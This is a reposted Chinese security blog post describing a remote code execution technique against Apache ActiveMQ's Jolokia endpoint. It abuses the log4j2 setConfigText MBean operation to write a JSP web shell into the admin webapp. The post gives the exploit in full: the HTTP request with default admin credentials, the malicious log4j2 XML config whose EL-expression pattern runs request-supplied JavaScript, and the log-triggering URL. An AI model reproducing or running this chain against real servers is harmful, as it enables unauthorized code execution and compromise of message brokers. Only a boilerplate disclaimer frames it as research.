Apache-ActiveMQ-Jolokia远程代码执行不依赖JDK打法

admin 2024年10月29日00:20:02评论7 views字数 10345阅读34分29秒阅读模式

Apache ActiveMQ Jolokia远程代码执行不依赖JDK打法

想着最近连写了几篇加密博客有点对不起看我博客的粉丝了,今天抽空简单分享一个姿势

影响版本

大概测了一下

Apache ActiveMQ 5.16.x系列无log4j2的mbean

Apache ActiveMQ 5.17.x系列漏洞版本受影响

初探

从网上已公开的打法可以知道使用jdk.management.jfr:type=FlightRecorder受jdk版本的影响,那有没有其他方法呢?答案肯定是有,从commit点我可以看出禁用的mbean不仅有jdk.management.jfr:type=FlightRecorder,还有com.sun.management:type=DiagnosticCommand以及org.apache.logging.log4j2:*,对于DiagnosticCommand的利用在之前很早就有公开,链接在https://github.com/laluka/jolokia-exploitation-toolkit/blob/main/exploits/file-write-to-rce-vhost-jfr.md,不过大概看了一下这里似乎不太行(也没仔细看就是了),比较感兴趣的是这个log4j2的利用

http://127.0.0.1:8161/api/jolokia/list当中搜索可以看到如下,利用的时候`type=63a65a25`似乎不是固定的,看起来大概和版本有关,需要先访问这个路由看看

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154
"org.apache.logging.log4j2": {"component=StatusLogger,type=63a65a25": {"attr": {"StatusDataHistory": {"rw": false,"type": "[Ljava.lang.String;","desc": "Attribute exposed for management"},"Level": {"rw": true,"type": "java.lang.String","desc": "Attribute exposed for management"},"StatusData": {"rw": false,"type": "java.util.List","desc": "Attribute exposed for management"},"ObjectName": {"rw": false,"type": "javax.management.ObjectName","desc": "Attribute exposed for management"},"ContextName": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"}},"class": "org.apache.logging.log4j.core.jmx.StatusLoggerAdmin","desc": "Information on the management interface of the MBean"},"component=Loggers,name=,type=63a65a25": {"attr": {"Additive": {"rw": true,"type": "boolean","desc": "Attribute exposed for management"},"Filter": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"AppenderRefs": {"rw": false,"type": "[Ljava.lang.String;","desc": "Attribute exposed for management"},"IncludeLocation": {"rw": false,"type": "boolean","desc": "Attribute exposed for management"},"Level": {"rw": true,"type": "java.lang.String","desc": "Attribute exposed for management"},"Name": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"}},"class": "org.apache.logging.log4j.core.jmx.LoggerConfigAdmin","desc": "Information on the management interface of the MBean"},"type=63a65a25": {"op": {"setConfigText": {"args": [{"name": "p1","type": "java.lang.String","desc": ""}, {"name": "p2","type": "java.lang.String","desc": ""}],"ret": "void","desc": "Operation exposed for management"},"getConfigText": {"args": [{"name": "p1","type": "java.lang.String","desc": ""}],"ret": "java.lang.String","desc": "Operation exposed for management"}},"attr": {"Status": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"ConfigClassName": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"ConfigLocationUri": {"rw": true,"type": "java.lang.String","desc": "Attribute exposed for management"},"ConfigName": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"ConfigProperties": {"rw": false,"type": "java.util.Map","desc": "Attribute exposed for management"},"ConfigText": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"Name": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"},"ObjectName": {"rw": false,"type": "javax.management.ObjectName","desc": "Attribute exposed for management"},"ConfigFilter": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"}},"class": "org.apache.logging.log4j.core.jmx.LoggerContextAdmin","desc": "Information on the management interface of the MBean"},"component=ContextSelector,type=63a65a25": {"attr": {"ImplementationClassName": {"rw": false,"type": "java.lang.String","desc": "Attribute exposed for management"}},"class": "org.apache.logging.log4j.core.jmx.ContextSelectorAdmin","desc": "Information on the management interface of the MBean"},

在这里可以看到两个比较可疑的操作setConfigTextgetConfigText,看起来似乎与配置相关

看看代码可以发现,确实根据我们传入的字符串做了配置文件解析更新

Apache-ActiveMQ-Jolokia远程代码执行不依赖JDK打法

同时getConfigText可以查看当前环境下的配置,可以看到返回的形式就和文件/conf/log4j2.properties一致

12345678910111213141516171819
POST /api/jolokia/ HTTP/1.1Host: 127.0.0.1:8161Authorization: Basic YWRtaW46YWRtaW4=User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36Origin: 127.0.0.1Connection: closeContent-Type: application/jsonContent-Length: 2174{ "type": "EXEC", "mbean": "org.apache.logging.log4j2:type=63a65a25", "operation": "getConfigText", "arguments":["UTF-8"] }response:{"request":{"mbean":"org.apache.logging.log4j2:type=63a65a25","arguments":["UTF-8"],"type":"exec","operation":"getConfigText"},"value":"rootLogger.level=INFO\nrootLogger.appenderRef.console.ref=Console\nrootLogger.appenderRef.console.filter.threshold.type=ThresholdFilter\nrootLogger.appenderRef.console.filter.threshold.level=INFO\nrootLogger.appenderRef.logfile.ref=RollingFile\nlogger.spring.name=org.apache.activemq.spring\nlogger.spring.level=WARN\nlogger.web.name=org.apache.activemq.web.handler\nlogger.web.level=WARN\nlogger.springframework.name=org.springframework\nlogger.springframework.level=WARN\nlogger.xbean.name=org.apache.xbean\nlogger.xbean.level=WARN\n\n# Jetty\nlogger.jetty.name=org.eclipse.jetty\nlogger.jetty.level=WARN\n\n# ActiveMQ\n#log4j2.logger.activemq.name=org.apache.activemq\n#log4j2.logger.activemq.level=DEBUG\n\n# Appender configuration\n\n# Console appender\nappender.console.type=Console\nappender.console.name=Console\nappender.console.layout.type=PatternLayout\nappender.console.layout.pattern=%5p | %m%n\n\n# File appender\nappender.logfile.type=RollingRandomAccessFile\nappender.logfile.name=RollingFile\nappender.logfile.fileName=${sys:activemq.data}\/activemq2.log\nappender.logfile.filePattern=${sys:activemq.data}\/activemq2.log.%i\nappender.logfile.append=true\nappender.logfile.layout.type=PatternLayout\nappender.logfile.layout.pattern=%d | %-5p | %m | %c | %t%n%throwable{full}\nappender.logfile.policies.type=Policies\nappender.logfile.policies.size.type=SizeBasedTriggeringPolicy\nappender.logfile.policies.size.size=1MB\n\n\nlogger.audit.name=org.apache.activemq.audit\nlogger.audit.additivity=false\nlogger.audit.level=INFO\nlogger.audit.appenderRef.auditlog.ref=AuditLog\n\nappender.auditlog.type=RollingRandomAccessFile\nappender.auditlog.name=AuditLog\nappender.auditlog.fileName=${sys:activemq.data}\/audit.log\nappender.auditlog.filePattern=${sys:activemq.data}\/audit.log.%i\nappender.auditlog.append=true\nappender.auditlog.layout.type=PatternLayout\nappender.auditlog.layout.pattern=%-5p | %m | %t%n\nappender.auditlog.policies.type=Policies\nappender.auditlog.policies.size.type=SizeBasedTriggeringPolicy\nappender.auditlog.policies.size.size=1MB\n","timestamp":1701347796,"status":200}

踩坑

但是当我们按照这个格式改好payload调用set更新时发现并没有成功,无事发生

调试后才发现这个config解析其实是xml形式的,算是被系统坑了一把

Apache-ActiveMQ-Jolokia远程代码执行不依赖JDK打法

调用栈(方便也想调试看看的师傅)

1234567891011121314151617181920
setConfiguration:601, LoggerContext (org.apache.logging.log4j.core)start:285, LoggerContext (org.apache.logging.log4j.core)setConfigText:201, LoggerContextAdmin (org.apache.logging.log4j.core.jmx)invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)invoke:566, Method (java.lang.reflect)invoke:71, Trampoline (sun.reflect.misc)invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)invoke:566, Method (java.lang.reflect)invoke:260, MethodUtil (sun.reflect.misc)invokeM2:112, StandardMBeanIntrospector (com.sun.jmx.mbeanserver)invokeM2:46, StandardMBeanIntrospector (com.sun.jmx.mbeanserver)invokeM:237, MBeanIntrospector (com.sun.jmx.mbeanserver)invoke:138, PerInterface (com.sun.jmx.mbeanserver)invoke:252, MBeanSupport (com.sun.jmx.mbeanserver)invoke:809, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)

破局

但是也知道我懒,这种格式转换的活我很烦,还好有chatGPT,简单问了一手解决了我的问题

毕竟我不关心内容只需要一个模板罢了

12345678910111213141516171819202122
把接下来我给的配置转化为log4j2配置的xml的形式好的喵xxxx以下是将您提供的配置转换为log4j2的XML形式:<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN">    <Appenders>        <Console name="Console" target="SYSTEM_OUT">            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>        </Console>        <File name="File" fileName="logs/logfile.log">            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>        </File>    </Appenders>    <Loggers>        <Root level="debug">            <AppenderRef ref="Console"/>            <AppenderRef ref="File"/>        </Root>    </Loggers></Configuration>

虽然不知道绝对路径,但是根据系统的原配置文件的写法appender.logfile.fileName=${sys:activemq.data}/activemq.log再结合日志路径可以猜到使用${sys:activemq.data}/../webapps/admin/

同时为了方便利用,我写成el表达式的形式

1234567891011121314151617
<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN">    <Appenders>        <RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/y4test.jsp"                                 filePattern="${sys:activemq.data}/../webapps/admin/y4test.jsp">            <PatternLayout pattern="${''['getClass']()['forName']('javax.script.ScriptEngineManager')['newInstance']()['getEngineByName']('JavaScript')['eval'](param.a)}"/>            <Policies>                <SizeBasedTriggeringPolicy size="1MB"/>            </Policies>        </RollingRandomAccessFile>    </Appenders>    <Loggers>        <Root level="INFO">            <AppenderRef ref="RollingFile"/>        </Root>    </Loggers></Configuration>

打一发看看,但是目录下只生成了文件并没有把payload写入,因此我们需要找一个能触发日志的功能点

这里我随便找了一个/admin/deleteDestination.action

看到这个心满意足

Apache-ActiveMQ-Jolokia远程代码执行不依赖JDK打法

但是忘了一点,这里虽然输出了payload,也能利用了但是对于我们极客来说,不喜欢除了payload的其他字符

Apache-ActiveMQ-Jolokia远程代码执行不依赖JDK打法

能做到吗?当然可以,通过查阅手册可以发现针对堆栈信息,有下面配置

1234
%throwable{full}:输出完整的异常堆栈信息%ex{none}来禁用异常堆栈的输出%ex{short}:输出简短的异常堆栈信息,只包括异常类和消息。%ex{full}:输出完整的异常堆栈信息,包括异常类、消息和详细的堆栈跟踪。

那么必然是选%ex{none},得到如下payload

1234567891011121314151617
<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN">    <Appenders>        <RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/y4test.jsp"                                 filePattern="${sys:activemq.data}/../webapps/admin/y4test.jsp">            <PatternLayout pattern="${''['getClass']()['forName']('javax.script.ScriptEngineManager')['newInstance']()['getEngineByName']('JavaScript')['eval'](param.a)}%ex{none}"/>            <Policies>                <SizeBasedTriggeringPolicy size="1MB"/>            </Policies>        </RollingRandomAccessFile>    </Appenders>    <Loggers>        <Root level="INFO">            <AppenderRef ref="RollingFile"/>        </Root>    </Loggers></Configuration>

再一次利用一发,就是这么舒爽2333,利用也简单只需要一发修改配置、触发文件写入

Apache-ActiveMQ-Jolokia远程代码执行不依赖JDK打法

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:20:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache-ActiveMQ-Jolokia远程代码执行不依赖JDK打法https://cn-sec.com/archives/3314592.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息